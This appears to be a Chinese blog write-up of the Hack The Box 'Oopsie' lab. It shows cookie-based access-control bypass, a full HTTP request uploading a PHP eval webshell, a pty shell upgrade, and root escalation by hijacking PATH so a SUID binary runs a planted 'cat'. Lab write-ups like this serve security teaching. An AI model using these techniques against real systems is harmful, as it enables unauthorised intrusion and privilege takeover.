HTB靶场:Oopsie(SUID提权&PATH变量劫持)

Oopsie

1. 扫描

访问80服务,是一个类似于公司官网的网站

一个邮箱地址

2. 发现接口

有一个/cdn-cgi的路径,并且存在一个与login相关联的js文件

访问/cdn-cgi/login,首先尝试弱口令和注入

尝试失败后,使用guest进行登录,发现一个上传功能,需要使用admin权限

查看请求包数据,发现cookie中的参数较为简单,易伪造,尝试拦截改role=admin,发现不行

因此只能寻找对应的user名

3. 发现水平越权和垂直越权

继续寻找功能,发现除上传页面外,其他页面功能存在越权,admin的userID疑似为34322

第二次尝试伪造cookie

第二次尝试成功

4. 文件上传

根据网站提示,上传PHP马


POST /cdn-cgi/login/admin.php?content=uploads&action=upload HTTP/1.1
Host: 10.129.212.153
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------429036644026914667642740905968
Content-Length: 369
Origin: http://10.129.212.153
Connection: keep-alive
Referer: http://10.129.212.153/cdn-cgi/login/admin.php?content=uploads
Cookie: user=34322; role=admin
Upgrade-Insecure-Requests: 1

-----------------------------429036644026914667642740905968
Content-Disposition: form-data; name="name"

-----------------------------429036644026914667642740905968
Content-Disposition: form-data; name="fileToUpload"; filename="1.php"
Content-Type: application/x-php

<php eval($_GET['cmd']); >

-----------------------------429036644026914667642740905968--

上传成功

还需要获取上传位置,可以进行猜测,也可以进行爆破,爆破结果如下:

访问文件路径,

虽然并未返回200,但是可以看到后台的nc成功拿到普通权限shell

说明漏洞利用成功

成功拿到第一个flag

5. 提权

仅靠普通权限没法找到admin的东西,因此只能在网站下面和home目录找线索

一级一级目录进行寻找,

共发现两条有关密码的线索

切换账号之类的操作必须在终端中才能进行,因此通过一条命令进行转换

python3 -c 'import pty;pty.spawn("/bin/bash")'

其中一条密码成功:

查看robert用户权限,

发现robert用户归属于bugtracker用户组,查看系统中是否有归属于bugtracker用户组的文件,并丢弃发生错误的结果(2>/dev/null)

6. SUID提权

发现一个文件夹,因此查看文件详情(ls -la、file)

看了文件所属人,确认这里存在SUID,普通用户也可以运行

suid:查看文件权限时,如果文件具有SUID权限,通常会在文件的权限列中看到s

当一个文件被设置了SUID位时,任何执行该文件的用户都将以文件所有者的权限执行程序,而不是以执行者的权限执行。这使得一些本应由管理员执行的操作能够被普通用户执行。

运行结果如下:

从运行结果来看,bugtracker调用了cat

7. 利用PATH环境变量劫持cat

在/tmp/添加一个cat文件,文件内容:/bin/sh

记得chmod +x /tmp/cat

添加PATH环境变量:export PATH=/tmp:$PATH

成功获取root权限

之后需要将cat改回来

posted @ 2024-11-27 15:14  柯ili  阅读(121)  评论(0)    收藏  举报